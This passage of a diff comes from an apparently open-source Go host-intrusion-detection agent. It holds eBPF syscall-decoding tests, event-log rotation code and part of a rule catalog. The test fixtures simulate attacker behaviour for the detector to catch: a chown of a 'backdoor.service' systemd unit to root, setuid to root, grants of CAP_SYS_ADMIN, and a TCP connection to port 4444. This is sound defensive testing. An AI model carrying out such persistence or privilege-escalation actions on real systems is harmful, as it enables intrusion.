t.Fatal(err)
|
||||
}
|
||||
if securityEvent.Syscall != nil || securityEvent.Host == nil ||
|
||||
securityEvent.Host.Event != "setuid" || securityEvent.Host.TargetUID != 0 ||
|
||||
securityEvent.Host.TargetGID != -1 || securityEvent.Host.Comm != "python3" {
|
||||
t.Fatalf("unexpected security event: %#v", securityEvent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSecuritySampleProducesPermissionChange(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 1000, SyscallID: hostFchownat,
|
||||
Args: [6]uint64{0, 0},
|
||||
}
|
||||
copyCString(raw.Comm[:], "python3")
|
||||
copyCString(raw.Text[:], "/etc/systemd/system/backdoor.service")
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if securityEvent.Host == nil || securityEvent.Host.Event != "chown" ||
|
||||
securityEvent.Host.Path != "/etc/systemd/system/backdoor.service" ||
|
||||
securityEvent.Host.TargetUID != 0 || securityEvent.Host.TargetGID != 0 {
|
||||
t.Fatalf("unexpected security event: %#v", securityEvent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSecuritySampleProducesCapabilities(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 1000, SyscallID: hostCapset,
|
||||
Args: [6]uint64{(1 << 2) | (1 << 21)},
|
||||
}
|
||||
copyCString(raw.Comm[:], "python3")
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := []string{"CAP_DAC_READ_SEARCH", "CAP_SYS_ADMIN"}
|
||||
if securityEvent.Host == nil || securityEvent.Host.Event != "capset" ||
|
||||
!slices.Equal(securityEvent.Host.Capabilities, want) {
|
||||
t.Fatalf("unexpected security event: %#v", securityEvent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSecuritySampleProducesModuleLoad(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 0, SyscallID: hostFinitModule,
|
||||
Args: [6]uint64{5},
|
||||
}
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if securityEvent.Host == nil || securityEvent.Host.Event != "module_load" || securityEvent.pathDirFD != 5 {
|
||||
t.Fatalf("unexpected security event: %#v", securityEvent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSecuritySampleProducesFileWrite(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 1000, SyscallID: hostFileWrite,
|
||||
Args: [6]uint64{5, 128},
|
||||
}
|
||||
copyCString(raw.Comm[:], "python3")
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if securityEvent.Host == nil || securityEvent.Host.Event != "file_write" ||
|
||||
securityEvent.Host.Comm != "python3" || securityEvent.pathDirFD != 5 {
|
||||
t.Fatalf("unexpected security event: %#v", securityEvent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSecuritySampleProducesNetworkEvents(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 1000, SyscallID: hostTCPConnect,
|
||||
Args: [6]uint64{unix.AF_INET, 4444, 0, 5},
|
||||
}
|
||||
copyCString(raw.Comm[:], "python3")
|
||||
address := []byte{8, 8, 8, 8}
|
||||
raw.Args[2] = uint64(binary.NativeEndian.Uint32(address))
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if securityEvent.Host == nil || securityEvent.Host.Event != "tcp_connect" ||
|
||||
securityEvent.Host.PeerIP != "8.8.8.8" || securityEvent.Host.PeerPort != 4444 ||
|
||||
securityEvent.pathDirFD != 5 {
|
||||
t.Fatalf("unexpected network event: %#v", securityEvent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSecuritySampleProducesAccept(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 1000, SyscallID: hostAccept4,
|
||||
Args: [6]uint64{0, 0, 0, 6},
|
||||
}
|
||||
copyCString(raw.Comm[:], "python3")
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if securityEvent.Host == nil || securityEvent.Host.Event != "accept" || securityEvent.pathDirFD != 6 {
|
||||
t.Fatalf("unexpected accept event: %#v", securityEvent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitoredSyscallsUsesPlatformConstants(t *testing.T) {
|
||||
numbers := monitoredSyscalls()
|
||||
if len(numbers) != 26+len(legacyPermissionSyscalls())+len(legacyNetworkSyscalls()) ||
|
||||
numbers[unix.SYS_MEMFD_CREATE] != syscallMemfdCreate ||
|
||||
numbers[unix.SYS_MPROTECT] != syscallMprotect || numbers[unix.SYS_SETUID] != hostSetuid {
|
||||
t.Fatalf("unexpected syscall map: %#v", numbers)
|
||||
}
|
||||
for _, number := range []uint64{
|
||||
unix.SYS_WRITE, unix.SYS_WRITEV, unix.SYS_PWRITE64,
|
||||
unix.SYS_PWRITEV, unix.SYS_PWRITEV2,
|
||||
} {
|
||||
if numbers[number] != hostFileWrite {
|
||||
t.Fatalf("write syscall %d maps to %d", number, numbers[number])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveProcessPath(t *testing.T) {
|
||||
procRoot := t.TempDir()
|
||||
processDir := filepath.Join(procRoot, "42")
|
||||
if err := os.Mkdir(processDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink("/etc/systemd", filepath.Join(processDir, "cwd")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Mkdir(filepath.Join(processDir, "fd"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink("/etc", filepath.Join(processDir, "fd", "5")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink("socket:[12345]", filepath.Join(processDir, "fd", "6")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Mkdir(filepath.Join(procRoot, "net"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
tcpTable := "sl local remote st tx rx tr tm retr uid timeout inode\n0: 0100007F:1F90 08080808:115C 01 0 0 0 0 0 12345\n"
|
||||
if err := os.WriteFile(filepath.Join(procRoot, "net", "tcp"), []byte(tcpTable), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := resolveProcessPath(procRoot, 42, -100, "system/agent.service"); got != "/etc/systemd/system/agent.service" {
|
||||
t.Fatalf("resolved path=%q", got)
|
||||
}
|
||||
if got := resolveProcessPath(procRoot, 42, 5, "cron.d/agent"); got != "/etc/cron.d/agent" {
|
||||
t.Fatalf("dirfd-resolved path=%q", got)
|
||||
}
|
||||
if got := resolveProcessFD(procRoot, 42, 5); got != "/etc" {
|
||||
t.Fatalf("fd-resolved path=%q", got)
|
||||
}
|
||||
if !isTCPSocket(procRoot, 42, 6) || isTCPSocket(procRoot, 42, 5) {
|
||||
t.Fatal("TCP socket classification mismatch")
|
||||
}
|
||||
local, peer, ok := lookupTCPSocket(procRoot, 42, 6)
|
||||
if !ok || local.IP != "127.0.0.1" || local.Port != 8080 || peer.IP != "8.8.8.8" || peer.Port != 4444 {
|
||||
t.Fatalf("unexpected endpoints: local=%#v peer=%#v ok=%v", local, peer, ok)
|
||||
}
|
||||
if got := resolveProcessPath(procRoot, 99, -100, "relative"); got != "relative" {
|
||||
t.Fatalf("unresolved path=%q", got)
|
||||
}
|
||||
}
|
||||
19
go-agent/internal/ebpfsource/syscalls_amd64.go
Normal file
19
go-agent/internal/ebpfsource/syscalls_amd64.go
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
//go:build amd64
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import "golang.org/x/sys/unix"
|
||||
|
||||
func legacyPermissionSyscalls() map[uint64]uint32 {
|
||||
return map[uint64]uint32{
|
||||
unix.SYS_CHMOD: hostChmod,
|
||||
unix.SYS_CHOWN: hostChown,
|
||||
unix.SYS_LCHOWN: hostLchown,
|
||||
}
|
||||
}
|
||||
|
||||
func legacyNetworkSyscalls() map[uint64]uint32 {
|
||||
return map[uint64]uint32{unix.SYS_ACCEPT: hostAccept}
|
||||
}
|
||||
13
go-agent/internal/ebpfsource/syscalls_other.go
Normal file
13
go-agent/internal/ebpfsource/syscalls_other.go
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
//go:build !amd64
|
||||
|
||||
package ebpfsource
|
||||
|
||||
func legacyPermissionSyscalls() map[uint64]uint32 {
|
||||
return nil
|
||||
}
|
||||
|
||||
func legacyNetworkSyscalls() map[uint64]uint32 {
|
||||
return nil
|
||||
}
|
||||
87
go-agent/internal/eventlog/read.go
Normal file
87
go-agent/internal/eventlog/read.go
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package eventlog
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
const maxRecordBytes = 1 << 20
|
||||
|
||||
// ReadRecent returns at most limit records in chronological order, reading the
|
||||
// older rotated segment before the active file. Every returned row is valid
|
||||
// JSON; corruption is reported instead of passed to an operator as evidence.
|
||||
func ReadRecent(path string, limit int) ([][]byte, error) {
|
||||
if path == "" {
|
||||
return nil, fmt.Errorf("event log path is required")
|
||||
}
|
||||
if limit <= 0 {
|
||||
return nil, fmt.Errorf("event limit must be positive")
|
||||
}
|
||||
buffer := recentBuffer{limit: limit}
|
||||
if _, err := os.Stat(path + ".1"); err == nil {
|
||||
if err := scanRecords(path+".1", buffer.add); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return nil, fmt.Errorf("stat rotated event log: %w", err)
|
||||
}
|
||||
if err := scanRecords(path, buffer.add); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buffer.values(), nil
|
||||
}
|
||||
|
||||
func scanRecords(path string, consume func([]byte)) error {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open event log %s: %w", path, err)
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Buffer(make([]byte, 64*1024), maxRecordBytes)
|
||||
line := 0
|
||||
for scanner.Scan() {
|
||||
line++
|
||||
raw := scanner.Bytes()
|
||||
if len(raw) == 0 {
|
||||
continue
|
||||
}
|
||||
if !json.Valid(raw) {
|
||||
return fmt.Errorf("invalid JSON in %s at line %d", path, line)
|
||||
}
|
||||
consume(append([]byte(nil), raw...))
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
return fmt.Errorf("read event log %s: %w", path, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type recentBuffer struct {
|
||||
limit int
|
||||
rows [][]byte
|
||||
next int
|
||||
}
|
||||
|
||||
func (b *recentBuffer) add(raw []byte) {
|
||||
if len(b.rows) < b.limit {
|
||||
b.rows = append(b.rows, raw)
|
||||
return
|
||||
}
|
||||
b.rows[b.next] = raw
|
||||
b.next = (b.next + 1) % b.limit
|
||||
}
|
||||
|
||||
func (b *recentBuffer) values() [][]byte {
|
||||
if len(b.rows) < b.limit || b.next == 0 {
|
||||
return b.rows
|
||||
}
|
||||
result := make([][]byte, 0, len(b.rows))
|
||||
result = append(result, b.rows[b.next:]...)
|
||||
result = append(result, b.rows[:b.next]...)
|
||||
return result
|
||||
}
|
||||
81
go-agent/internal/eventlog/read_test.go
Normal file
81
go-agent/internal/eventlog/read_test.go
Normal file
|
|
@ -0,0 +1,81 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package eventlog
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestReadRecentSpansRotationInChronologicalOrder(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "events.jsonl")
|
||||
writeLines(t, path+".1", 1, 2, 3)
|
||||
writeLines(t, path, 4, 5)
|
||||
rows, err := ReadRecent(path, 3)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := rowSequences(t, rows); len(got) != 3 || got[0] != 3 || got[1] != 4 || got[2] != 5 {
|
||||
t.Fatalf("sequences=%v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRecentReturnsAllWhenUnderLimit(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "events.jsonl")
|
||||
writeLines(t, path, 7, 8)
|
||||
rows, err := ReadRecent(path, 10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := rowSequences(t, rows); len(got) != 2 || got[0] != 7 || got[1] != 8 {
|
||||
t.Fatalf("sequences=%v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRecentRejectsCorruptionAndInvalidArguments(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "events.jsonl")
|
||||
if err := os.WriteFile(path, []byte("{not-json}\n"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := ReadRecent(path, 1); err == nil {
|
||||
t.Fatal("corrupt log accepted")
|
||||
}
|
||||
if _, err := ReadRecent("", 1); err == nil {
|
||||
t.Fatal("empty path accepted")
|
||||
}
|
||||
if _, err := ReadRecent(path, 0); err == nil {
|
||||
t.Fatal("zero limit accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func writeLines(t *testing.T, path string, sequences ...int) {
|
||||
t.Helper()
|
||||
file, err := os.Create(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer file.Close()
|
||||
encoder := json.NewEncoder(file)
|
||||
for _, sequence := range sequences {
|
||||
if err := encoder.Encode(map[string]any{"sequence": sequence}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func rowSequences(t *testing.T, rows [][]byte) []int {
|
||||
t.Helper()
|
||||
result := make([]int, 0, len(rows))
|
||||
for _, row := range rows {
|
||||
var record struct {
|
||||
Sequence int `json:"sequence"`
|
||||
}
|
||||
if err := json.Unmarshal(row, &record); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
result = append(result, record.Sequence)
|
||||
}
|
||||
return result
|
||||
}
|
||||
111
go-agent/internal/eventlog/writer.go
Normal file
111
go-agent/internal/eventlog/writer.go
Normal file
|
|
@ -0,0 +1,111 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package eventlog retains a bounded JSONL copy of emitted event envelopes.
|
||||
package eventlog
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Writer appends records to Path and keeps one rotated segment at Path + ".1".
|
||||
type Writer struct {
|
||||
Path string
|
||||
MaxBytes int64
|
||||
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// New preflights the parent directory and destination permissions. A service
|
||||
// can call it before signaling readiness so a broken retention path fails the
|
||||
// start instead of silently dropping records.
|
||||
func New(path string, maxBytes int64) (*Writer, error) {
|
||||
if path == "" {
|
||||
return nil, fmt.Errorf("event log path is required")
|
||||
}
|
||||
if maxBytes <= 0 {
|
||||
return nil, fmt.Errorf("event log max bytes must be positive")
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o750); err != nil {
|
||||
return nil, fmt.Errorf("create event log directory: %w", err)
|
||||
}
|
||||
file, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open event log: %w", err)
|
||||
}
|
||||
if err := file.Chmod(0o600); err != nil {
|
||||
file.Close()
|
||||
return nil, fmt.Errorf("protect event log: %w", err)
|
||||
}
|
||||
if err := file.Close(); err != nil {
|
||||
return nil, fmt.Errorf("close event log: %w", err)
|
||||
}
|
||||
return &Writer{Path: path, MaxBytes: maxBytes}, nil
|
||||
}
|
||||
|
||||
// Append writes exactly one JSON record. Alert and incident records are synced
|
||||
// before success is reported; routine status records rely on normal kernel
|
||||
// writeback to avoid forcing a disk flush every sweep.
|
||||
func (w *Writer) Append(record map[string]any) error {
|
||||
if w == nil {
|
||||
return fmt.Errorf("event log writer is required")
|
||||
}
|
||||
raw, err := json.Marshal(record)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode event log record: %w", err)
|
||||
}
|
||||
raw = append(raw, '\n')
|
||||
if len(raw) > maxRecordBytes {
|
||||
return fmt.Errorf("event log record exceeds %d bytes", maxRecordBytes)
|
||||
}
|
||||
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
if err := w.rotateBefore(int64(len(raw))); err != nil {
|
||||
return err
|
||||
}
|
||||
file, err := os.OpenFile(w.Path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open event log: %w", err)
|
||||
}
|
||||
if err := file.Chmod(0o600); err != nil {
|
||||
file.Close()
|
||||
return fmt.Errorf("protect event log: %w", err)
|
||||
}
|
||||
if _, err := file.Write(raw); err != nil {
|
||||
file.Close()
|
||||
return fmt.Errorf("append event log: %w", err)
|
||||
}
|
||||
if eventType, _ := record["event_type"].(string); eventType != "status" {
|
||||
if err := file.Sync(); err != nil {
|
||||
file.Close()
|
||||
return fmt.Errorf("sync event log: %w", err)
|
||||
}
|
||||
}
|
||||
if err := file.Close(); err != nil {
|
||||
return fmt.Errorf("close event log: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *Writer) rotateBefore(incoming int64) error {
|
||||
info, err := os.Stat(w.Path)
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Errorf("stat event log: %w", err)
|
||||
}
|
||||
// Always allow one record into an empty file, even when that individual
|
||||
// envelope is larger than the configured bound.
|
||||
if info.Size() == 0 || info.Size()+incoming <= w.MaxBytes {
|
||||
return nil
|
||||
}
|
||||
if err := os.Rename(w.Path, w.Path+".1"); err != nil {
|
||||
return fmt.Errorf("rotate event log: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
131
go-agent/internal/eventlog/writer_test.go
Normal file
131
go-agent/internal/eventlog/writer_test.go
Normal file
|
|
@ -0,0 +1,131 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package eventlog
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestWriterAppendsJSONLWithPrivatePermissions(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "state", "events.jsonl")
|
||||
writer, err := New(path, 1<<20)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, record := range []map[string]any{
|
||||
{"event_type": "status", "sequence": 1},
|
||||
{"event_type": "alert", "sequence": 2},
|
||||
} {
|
||||
if err := writer.Append(record); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
rows := readRows(t, path)
|
||||
if len(rows) != 2 || rows[0]["sequence"] != float64(1) || rows[1]["sequence"] != float64(2) {
|
||||
t.Fatalf("rows=%#v", rows)
|
||||
}
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := info.Mode().Perm(); got != 0o600 {
|
||||
t.Fatalf("mode=%#o", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriterRotatesBeforeCrossingBound(t *testing.T) {
|
||||
directory := t.TempDir()
|
||||
path := filepath.Join(directory, "events.jsonl")
|
||||
first := map[string]any{"event_type": "status", "marker": "first"}
|
||||
encoded, err := json.Marshal(first)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
writer, err := New(path, int64(len(encoded)+1))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := writer.Append(first); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := writer.Append(map[string]any{"event_type": "alert", "marker": "second"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
current := readRows(t, path)
|
||||
rotated := readRows(t, path+".1")
|
||||
if len(current) != 1 || current[0]["marker"] != "second" {
|
||||
t.Fatalf("current=%#v", current)
|
||||
}
|
||||
if len(rotated) != 1 || rotated[0]["marker"] != "first" {
|
||||
t.Fatalf("rotated=%#v", rotated)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriterSerializesConcurrentAppends(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "events.jsonl")
|
||||
writer, err := New(path, 1<<20)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var wait sync.WaitGroup
|
||||
for index := range 32 {
|
||||
wait.Add(1)
|
||||
go func() {
|
||||
defer wait.Done()
|
||||
if err := writer.Append(map[string]any{"event_type": "status", "sequence": index}); err != nil {
|
||||
t.Errorf("append: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
wait.Wait()
|
||||
if rows := readRows(t, path); len(rows) != 32 {
|
||||
t.Fatalf("row count=%d", len(rows))
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewRejectsInvalidConfiguration(t *testing.T) {
|
||||
if _, err := New("", 100); err == nil {
|
||||
t.Fatal("empty path accepted")
|
||||
}
|
||||
if _, err := New(filepath.Join(t.TempDir(), "events.jsonl"), 0); err == nil {
|
||||
t.Fatal("zero bound accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriterRejectsRecordLargerThanReaderLimit(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "events.jsonl")
|
||||
writer, err := New(path, 2<<20)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := writer.Append(map[string]any{"event_type": "alert", "payload": make([]byte, maxRecordBytes)}); err == nil {
|
||||
t.Fatal("oversized record accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func readRows(t *testing.T, path string) []map[string]any {
|
||||
t.Helper()
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer file.Close()
|
||||
var rows []map[string]any
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
var row map[string]any
|
||||
if err := json.Unmarshal(scanner.Bytes(), &row); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
rows = append(rows, row)
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return rows
|
||||
}
|
||||
141
go-agent/internal/events/catalog.go
Normal file
141
go-agent/internal/events/catalog.go
Normal file
|
|
@ -0,0 +1,141 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// RuleCatalog returns the stable operator-facing metadata currently exposed by
|
||||
// Python ruleops.list_rules. Conditions remain data, so auditors can inspect
|
||||
// what the binary will match without reading Go source or loading eBPF.
|
||||
func RuleCatalog(execRules ExecRuleEngine) []map[string]any {
|
||||
builtinExec := map[int]bool{100001: true, 100002: true, 100003: true, 100004: true}
|
||||
records := make([]map[string]any, 0,
|
||||
len(execRules.Rules)+len(DefaultSyscallRuleEngine().Rules)+len(DefaultHostRuleEngine().Rules))
|
||||
for _, rule := range execRules.Rules {
|
||||
origin := "configured"
|
||||
if builtinExec[rule.SID] {
|
||||
origin = "builtin"
|
||||
}
|
||||
conditions := map[string]any{}
|
||||
if len(rule.PathPrefixes) > 0 {
|
||||
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
|
||||
}
|
||||
if len(rule.ExecComms) > 0 {
|
||||
conditions["exec_comm"] = sortedStringKeys(rule.ExecComms)
|
||||
}
|
||||
if len(rule.ParentComms) > 0 {
|
||||
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
|
||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
conditions["argv_regex"] = rule.ArgvRegex
|
||||
}
|
||||
if len(rule.ParentExclude) > 0 {
|
||||
conditions["parent_exclude"] = sortedStringKeys(rule.ParentExclude)
|
||||
}
|
||||
records = append(records, map[string]any{
|
||||
"sid": rule.SID, "event": "exec", "origin": origin,
|
||||
"severity": rule.Severity, "classtype": rule.Classtype,
|
||||
"signature": "exec_rule." + rule.Classtype,
|
||||
"msg": rule.Message, "conditions": conditions,
|
||||
})
|
||||
}
|
||||
for _, rule := range DefaultSyscallRuleEngine().Rules {
|
||||
records = append(records, map[string]any{
|
||||
"sid": rule.SID, "event": "syscall", "origin": "builtin",
|
||||
"severity": rule.Severity, "classtype": rule.Classtype,
|
||||
"signature": "syscall_rule." + rule.Classtype,
|
||||
"msg": rule.Message,
|
||||
"conditions": map[string]any{
|
||||
"syscalls": sortedStringKeys(rule.Syscalls),
|
||||
"predicate": "built-in predicate",
|
||||
},
|
||||
})
|
||||
}
|
||||
for _, rule := range DefaultHostRuleEngine().Rules {
|
||||
conditions := map[string]any{"events": sortedStringKeys(rule.Events)}
|
||||
if len(rule.Comms) > 0 {
|
||||
conditions["comm"] = sortedStringKeys(rule.Comms)
|
||||
}
|
||||
if len(rule.ParentComms) > 0 {
|
||||
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
|
||||
}
|
||||
if rule.PeerPublic != nil {
|
||||
conditions["peer_public"] = *rule.PeerPublic
|
||||
}
|
||||
if len(rule.PeerPorts) > 0 {
|
||||
conditions["peer_ports"] = sortedIntKeys(rule.PeerPorts)
|
||||
}
|
||||
if len(rule.PeerPortExclude) > 0 {
|
||||
conditions["peer_port_exclude"] = sortedIntKeys(rule.PeerPortExclude)
|
||||
}
|
||||
if len(rule.LocalPorts) > 0 {
|
||||
conditions["local_ports"] = sortedIntKeys(rule.LocalPorts)
|
||||
}
|
||||
if len(rule.LocalPortExclude) > 0 {
|
||||
conditions["local_port_exclude"] = sortedIntKeys(rule.LocalPortExclude)
|
||||
}
|
||||
if len(rule.PathPrefixes) > 0 {
|
||||
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
|
||||
}
|
||||
if len(rule.TargetUIDs) > 0 {
|
||||
conditions["target_uids"] = sortedIntKeys(rule.TargetUIDs)
|
||||
}
|
||||
if len(rule.TargetGIDs) > 0 {
|
||||
conditions["target_gids"] = sortedIntKeys(rule.TargetGIDs)
|
||||
}
|
||||
if len(rule.CapabilitiesAny) > 0 {
|
||||
conditions["capabilities_any"] = sortedStringKeys(rule.CapabilitiesAny)
|
||||
}
|
||||
if len(rule.ModuleNames) > 0 {
|
||||
conditions["module_names"] = sortedStringKeys(rule.ModuleNames)
|
||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
conditions["argv_regex"] = rule.ArgvRegex
|
||||
}
|
||||
eventTypes := sortedStringKeys(rule.Events)
|
||||
records = append(records, map[string]any{
|
||||
"sid": rule.SID, "event": strings.Join(eventTypes, ","), "origin": "builtin",
|
||||
"severity": rule.Severity, "classtype": rule.Classtype,
|
||||
"signature": "host_rule." + rule.Classtype,
|
||||
"msg": rule.Message, "conditions": conditions,
|
||||
})
|
||||
}
|
||||
sort.SliceStable(records, func(i, j int) bool {
|
||||
leftSID, rightSID := records[i]["sid"].(int), records[j]["sid"].(int)
|
||||
if leftSID != rightSID {
|
||||
return leftSID < rightSID
|
||||
}
|
||||
return records[i]["event"].(string) < records[j]["event"].(string)
|
||||
})
|
||||
return records
|
||||
}
|
||||
|
||||
func FindRule(records []map[string]any, sid int) map[string]any {
|
||||
for _, record := range records {
|
||||
if record["sid"].(int) == sid {
|
||||
return record
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func sortedStringKeys(values map[string]bool) []string {
|
||||
result := make([]string, 0, len(values))
|
||||
for value := range values {
|
||||
result = append(result, value)
|
||||
}
|
||||
sort.Strings(result)
|
||||
return result
|
||||
}
|
||||
|
||||
func sortedIntKeys(values map[int]bool) []int {
|
||||
